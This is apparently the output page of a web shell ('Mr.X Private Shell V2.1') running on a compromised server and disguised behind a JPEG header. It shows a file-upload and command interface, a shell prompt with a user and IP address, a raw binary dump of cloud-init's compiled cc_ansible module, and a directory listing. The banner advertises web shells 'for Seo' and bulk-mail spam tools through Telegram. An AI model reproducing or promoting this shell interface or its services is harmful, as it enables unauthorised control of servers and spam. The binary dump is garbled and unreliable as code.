����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

deexcl@216.73.217.71: ~ $
a

'�Dg��@slUdZddlZddlZddlZddlZddlZddlZddlmZddl	m
Z
ddlmZm
Z
ddlmZddlmZddlmZdd	lmZmZdd
lmZddlmZdeegd
gd�Zeed<e�e�ZdZ Gdd�dej!�Z"Gdd�de"�Z#Gdd�de"�Z$e%eee&dd�dd�Z'e(d�dd�Z)e(e(d�dd�Z*e"e(d �d!d"�Z+e(e"d#�d$d%�Z,e(e"d#�d&d'�Z-dS)(z9ansible enables running on first boot either ansible-pull�N)�deepcopy)�Optional)�	lifecycle�subp)�Cloud)�Config)�
MetaSchema)�ALL_DISTROS�Distro)�PER_INSTANCE)�get_cfg_by_pathZ
cc_ansible�ansible)�idZ	frequencyZdistrosZactivate_by_schema_keys�meta�ansible_configc@s|eZdZed�dd�Zeejd�dd�Ze	d�dd�Z
d	d
�Zed�dd
�Z
dd�Zejdd��Zeje	d�dd��ZdS)�AnsiblePull)�distrocCs<dg|_ddg|_||_i|_d|_tj�dd�|jd<dS)Nzansible-pullz	--version�HOMEz/root)�cmd_pull�cmd_versionr�env�run_user�os�environ�get)�selfr�r�?/usr/lib/python3.9/site-packages/cloudinit/config/cc_ansible.py�__init__ s
zAnsiblePull.__init__��returncCsH|�|j�\}}|���d�}t�d|�}|rD|�d�}tj�	|�SdS)Nrz	([\d\.]+))
�do_asr�
splitlines�pop�re�search�groupr�VersionZfrom_str)r�stdout�_Z
first_line�matches�versionrrr�get_version+s
zAnsiblePull.get_versioncGs|�g|j�|��\}}|S�N)r!r)r�argsr(r)rrr�pull4szAnsiblePull.pullcCs|��std��dS)Nz!command: ansible is not installed)�is_installed�
ValueError�rrrr�
check_deps8szAnsiblePull.check_deps)�commandcKs0|js|j|fi|��S|jj||jfi|��Sr-)rrrr!�rr4�kwargsrrrr!<szAnsiblePull.do_ascKstj|fd|ji|��S)NZ
update_env)rrr5rrrrAszAnsiblePull.subpcCsdSr-rr2rrrr0DszAnsiblePull.is_installed��pkg_namecCsdSr-r�rr8rrr�installHszAnsiblePull.installN)�__name__�
__module__�__qualname__r
rrrr'r,�strr/r3�listr!r�abc�abstractmethodr0r:rrrrrs	
rcsDeZdZeeed��fdd�Zed�dd�Zed�dd	�Z	�Z
S)
�AnsiblePullPip)r�usercsft��|�||_|�tjddg�\}}|�d�}|j�d�}|rXd�||g�|jd<n
||jd<dS)Nz-cz('import site; print(site.getuserbase())'z/bin/�PATH�:)	�superrrr!�sys�
executablerr�join)rrrC�	user_baser)Zansible_pathZold_path��	__class__rrrNs
�
zAnsiblePullPip.__init__r7cCs�|��s�zddl}Wn$ty8|j�|jjg�Yn0tjdddg}tj	�
tj	�t�
d�d��rn|�d�|jr~|�d	�|�g|�d
�d��|�g|�|��dS)zishould cloud-init grow an interface for non-distro package
        managers? this seems reusable
        rN�-m�pipr:ZstdlibzEXTERNALLY-MANAGEDz--break-system-packagesz--userz	--upgrade)r0rN�ImportErrorr�install_packagesZpip_package_namerGrHr�path�existsrI�	sysconfigZget_path�appendrr!)rr8rN�cmdrrrr:]s(�
��

zAnsiblePullPip.installrcCs |�tjdddg�\}}d|vS)NrMrNr?r
)r!rGrH)rr(r)rrrr0xszAnsiblePullPip.is_installed)r;r<r=r
rr>rr:�boolr0�
__classcell__rrrKrrBMsrBc@s(eZdZed�dd�Zed�dd�ZdS)�AnsiblePullDistror7cCs|��s|j�|g�dSr-)r0rrPr9rrrr:~szAnsiblePullDistro.installrcCstt�d��S)Nr
)rVr�whichr2rrrr0�szAnsiblePullDistro.is_installedN)r;r<r=r>r:rVr0rrrrrX}srX)�name�cfg�cloudr.r cCs�|�di�}|�d�}|�d�}|�d�}|�d�}|�d�}	|�dd�}
|r�t|�|j}|d	krpt||�}nt|�}|�|
�|��|�d
d�}
|
r�|
|jt<|r�t	||�|	r�t
|t|	��|r�t||�dS)Nr
r�install_method�setup_controllerZgalaxyr/�package_name�rNr)
r�validate_configrrBrXr:r3r�CFG_OVERRIDE�ansible_galaxy�run_ansible_pullr�ansible_controller)rZr[r\r.Zansible_cfgZansible_userr]r^Z
galaxy_cfgZpull_cfgr_rr
rrrr�handle�s0







rf�r[cCs�d}|D]"}t||�std|�d|����q|�d�r^dD]"}t||�s:td|�d|����q:|�d�}|r�t|�d�|�d�g�s�td	|����|d
}|dvr�td��dS)
N)r]r_zMissing required key 'z' from r/)zpull/urlzpull/playbook_namer^�repositories�run_ansiblezMissing required key from r])rNrz Invalid install method {install})rr1r�any)r[�
required_keys�keyZcontroller_cfgr:rrrra�s&



��ra)r[r cCsdd�|��D�S)zremove boolean false valuescSs&i|]\}}|dur|�dd�|�qS)Fr)�-)�replace��.0rl�valuerrr�
<dictcomp>�s�zfilter_args.<locals>.<dictcomp>)�itemsrgrrr�filter_args�s�rt)r/r[cCs�|�d�}|��}|s"t�d�n>|t�ddd�kr`|�d�r`td|j�d|j	�d|j
�d	���|jgd
d�t|��
�D��|�R�}|r�tj�|��dS)N�
playbook_namezCannot parse ansible version��r�diffzAnsible version �.z%doesn't support --diff flag, exiting.cSs2g|]*\}}|dur$d|�d|��nd|���qS)T�--�=rrorrr�
<listcomp>�s�z$run_ansible_pull.<locals>.<listcomp>)r#r,�LOG�warningrr'rr1�major�minorZpatchr/rtrsrGr(�write)r/r[ru�vr(rrrrd�s$

�
���rd)r[r
cCs4|�dg�}|st�d|�|D]}|�|�q dS)N�actionszInvalid config: %s)rr}r~r!)r[r
r�r4rrrrc�s
rccCs�|�dg�D]}|�dd|d|dg�q|�dg�D]D}|�d�}|�d�}d	|gd
d�t|���D��}|j||d�q8dS)
Nrh�gitZclone�sourcerQri�playbook_dirruzansible-playbookcSs g|]\}}d|�d|���qS)rzr{rrorrrr|��z&ansible_controller.<locals>.<listcomp>)�cwd)rr!r#rtrs)r[r
Z
repositoryr.r�rur4rrrre�s�

��re).�__doc__r@Zloggingrr$rGrS�copyr�typingrZ	cloudinitrrZcloudinit.cloudrZcloudinit.configrZcloudinit.config.schemarZcloudinit.distrosr	r
Zcloudinit.settingsrZcloudinit.utilrr�__annotations__Z	getLoggerr;r}rb�ABCrrBrXr>r?rf�dictrartrdrcrerrrr�<module>s>�
.0	%		

Filemanager

Name Type Size Permission Actions
__init__.cpython-39.opt-1.pyc File 193 B 0644
__init__.cpython-39.pyc File 193 B 0644
cc_ansible.cpython-39.opt-1.pyc File 7.83 KB 0644
cc_ansible.cpython-39.pyc File 7.83 KB 0644
cc_apk_configure.cpython-39.opt-1.pyc File 3.34 KB 0644
cc_apk_configure.cpython-39.pyc File 3.34 KB 0644
cc_apt_configure.cpython-39.opt-1.pyc File 26.31 KB 0644
cc_apt_configure.cpython-39.pyc File 26.31 KB 0644
cc_apt_pipelining.cpython-39.opt-1.pyc File 1.73 KB 0644
cc_apt_pipelining.cpython-39.pyc File 1.73 KB 0644
cc_bootcmd.cpython-39.opt-1.pyc File 1.5 KB 0644
cc_bootcmd.cpython-39.pyc File 1.5 KB 0644
cc_byobu.cpython-39.opt-1.pyc File 2.21 KB 0644
cc_byobu.cpython-39.pyc File 2.21 KB 0644
cc_ca_certs.cpython-39.opt-1.pyc File 6.26 KB 0644
cc_ca_certs.cpython-39.pyc File 6.26 KB 0644
cc_chef.cpython-39.opt-1.pyc File 7.75 KB 0644
cc_chef.cpython-39.pyc File 7.75 KB 0644
cc_disable_ec2_metadata.cpython-39.opt-1.pyc File 1.41 KB 0644
cc_disable_ec2_metadata.cpython-39.pyc File 1.41 KB 0644
cc_disk_setup.cpython-39.opt-1.pyc File 20.6 KB 0644
cc_disk_setup.cpython-39.pyc File 20.6 KB 0644
cc_fan.cpython-39.opt-1.pyc File 1.83 KB 0644
cc_fan.cpython-39.pyc File 1.83 KB 0644
cc_final_message.cpython-39.opt-1.pyc File 2.31 KB 0644
cc_final_message.cpython-39.pyc File 2.31 KB 0644
cc_growpart.cpython-39.opt-1.pyc File 14.18 KB 0644
cc_growpart.cpython-39.pyc File 14.18 KB 0644
cc_grub_dpkg.cpython-39.opt-1.pyc File 3.85 KB 0644
cc_grub_dpkg.cpython-39.pyc File 3.85 KB 0644
cc_install_hotplug.cpython-39.opt-1.pyc File 2.64 KB 0644
cc_install_hotplug.cpython-39.pyc File 2.64 KB 0644
cc_keyboard.cpython-39.opt-1.pyc File 1.29 KB 0644
cc_keyboard.cpython-39.pyc File 1.29 KB 0644
cc_keys_to_console.cpython-39.opt-1.pyc File 1.91 KB 0644
cc_keys_to_console.cpython-39.pyc File 1.91 KB 0644
cc_landscape.cpython-39.opt-1.pyc File 2.65 KB 0644
cc_landscape.cpython-39.pyc File 2.65 KB 0644
cc_locale.cpython-39.opt-1.pyc File 1.11 KB 0644
cc_locale.cpython-39.pyc File 1.11 KB 0644
cc_lxd.cpython-39.opt-1.pyc File 8.9 KB 0644
cc_lxd.cpython-39.pyc File 8.9 KB 0644
cc_mcollective.cpython-39.opt-1.pyc File 2.4 KB 0644
cc_mcollective.cpython-39.pyc File 2.4 KB 0644
cc_mounts.cpython-39.opt-1.pyc File 14.09 KB 0644
cc_mounts.cpython-39.pyc File 14.09 KB 0644
cc_ntp.cpython-39.opt-1.pyc File 11.17 KB 0644
cc_ntp.cpython-39.pyc File 11.17 KB 0644
cc_package_update_upgrade_install.cpython-39.opt-1.pyc File 3.09 KB 0644
cc_package_update_upgrade_install.cpython-39.pyc File 3.09 KB 0644
cc_phone_home.cpython-39.opt-1.pyc File 2.56 KB 0644
cc_phone_home.cpython-39.pyc File 2.56 KB 0644
cc_power_state_change.cpython-39.opt-1.pyc File 4.99 KB 0644
cc_power_state_change.cpython-39.pyc File 4.99 KB 0644
cc_puppet.cpython-39.opt-1.pyc File 6.38 KB 0644
cc_puppet.cpython-39.pyc File 6.38 KB 0644
cc_reset_rmc.cpython-39.opt-1.pyc File 3.6 KB 0644
cc_reset_rmc.cpython-39.pyc File 3.6 KB 0644
cc_resizefs.cpython-39.opt-1.pyc File 6.93 KB 0644
cc_resizefs.cpython-39.pyc File 6.93 KB 0644
cc_resolv_conf.cpython-39.opt-1.pyc File 2.54 KB 0644
cc_resolv_conf.cpython-39.pyc File 2.54 KB 0644
cc_rh_subscription.cpython-39.opt-1.pyc File 10.5 KB 0644
cc_rh_subscription.cpython-39.pyc File 10.5 KB 0644
cc_rsyslog.cpython-39.opt-1.pyc File 8.71 KB 0644
cc_rsyslog.cpython-39.pyc File 8.71 KB 0644
cc_runcmd.cpython-39.opt-1.pyc File 1.28 KB 0644
cc_runcmd.cpython-39.pyc File 1.28 KB 0644
cc_salt_minion.cpython-39.opt-1.pyc File 2.63 KB 0644
cc_salt_minion.cpython-39.pyc File 2.63 KB 0644
cc_scripts_per_boot.cpython-39.opt-1.pyc File 1.13 KB 0644
cc_scripts_per_boot.cpython-39.pyc File 1.13 KB 0644
cc_scripts_per_instance.cpython-39.opt-1.pyc File 1.14 KB 0644
cc_scripts_per_instance.cpython-39.pyc File 1.14 KB 0644
cc_scripts_per_once.cpython-39.opt-1.pyc File 1.12 KB 0644
cc_scripts_per_once.cpython-39.pyc File 1.12 KB 0644
cc_scripts_user.cpython-39.opt-1.pyc File 1.1 KB 0644
cc_scripts_user.cpython-39.pyc File 1.1 KB 0644
cc_scripts_vendor.cpython-39.opt-1.pyc File 1.22 KB 0644
cc_scripts_vendor.cpython-39.pyc File 1.22 KB 0644
cc_seed_random.cpython-39.opt-1.pyc File 2.45 KB 0644
cc_seed_random.cpython-39.pyc File 2.45 KB 0644
cc_set_hostname.cpython-39.opt-1.pyc File 2.45 KB 0644
cc_set_hostname.cpython-39.pyc File 2.45 KB 0644
cc_set_passwords.cpython-39.opt-1.pyc File 6.62 KB 0644
cc_set_passwords.cpython-39.pyc File 6.62 KB 0644
cc_snap.cpython-39.opt-1.pyc File 3.27 KB 0644
cc_snap.cpython-39.pyc File 3.27 KB 0644
cc_spacewalk.cpython-39.opt-1.pyc File 2.24 KB 0644
cc_spacewalk.cpython-39.pyc File 2.24 KB 0644
cc_ssh.cpython-39.opt-1.pyc File 7.08 KB 0644
cc_ssh.cpython-39.pyc File 7.08 KB 0644
cc_ssh_authkey_fingerprints.cpython-39.opt-1.pyc File 3.26 KB 0644
cc_ssh_authkey_fingerprints.cpython-39.pyc File 3.26 KB 0644
cc_ssh_import_id.cpython-39.opt-1.pyc File 3.34 KB 0644
cc_ssh_import_id.cpython-39.pyc File 3.34 KB 0644
cc_timezone.cpython-39.opt-1.pyc File 1.06 KB 0644
cc_timezone.cpython-39.pyc File 1.06 KB 0644
cc_ubuntu_autoinstall.cpython-39.opt-1.pyc File 2.56 KB 0644
cc_ubuntu_autoinstall.cpython-39.pyc File 2.56 KB 0644
cc_ubuntu_drivers.cpython-39.opt-1.pyc File 3.38 KB 0644
cc_ubuntu_drivers.cpython-39.pyc File 3.38 KB 0644
cc_ubuntu_pro.cpython-39.opt-1.pyc File 9.38 KB 0644
cc_ubuntu_pro.cpython-39.pyc File 9.38 KB 0644
cc_update_etc_hosts.cpython-39.opt-1.pyc File 1.85 KB 0644
cc_update_etc_hosts.cpython-39.pyc File 1.85 KB 0644
cc_update_hostname.cpython-39.opt-1.pyc File 1.62 KB 0644
cc_update_hostname.cpython-39.pyc File 1.62 KB 0644
cc_users_groups.cpython-39.opt-1.pyc File 2.23 KB 0644
cc_users_groups.cpython-39.pyc File 2.23 KB 0644
cc_wireguard.cpython-39.opt-1.pyc File 6.03 KB 0644
cc_wireguard.cpython-39.pyc File 6.03 KB 0644
cc_write_files.cpython-39.opt-1.pyc File 3.97 KB 0644
cc_write_files.cpython-39.pyc File 3.97 KB 0644
cc_write_files_deferred.cpython-39.opt-1.pyc File 1.43 KB 0644
cc_write_files_deferred.cpython-39.pyc File 1.43 KB 0644
cc_yum_add_repo.cpython-39.opt-1.pyc File 3.49 KB 0644
cc_yum_add_repo.cpython-39.pyc File 3.49 KB 0644
cc_zypper_add_repo.cpython-39.opt-1.pyc File 4.11 KB 0644
cc_zypper_add_repo.cpython-39.pyc File 4.11 KB 0644
modules.cpython-39.opt-1.pyc File 8.13 KB 0644
modules.cpython-39.pyc File 8.13 KB 0644
schema.cpython-39.opt-1.pyc File 36.97 KB 0644
schema.cpython-39.pyc File 36.97 KB 0644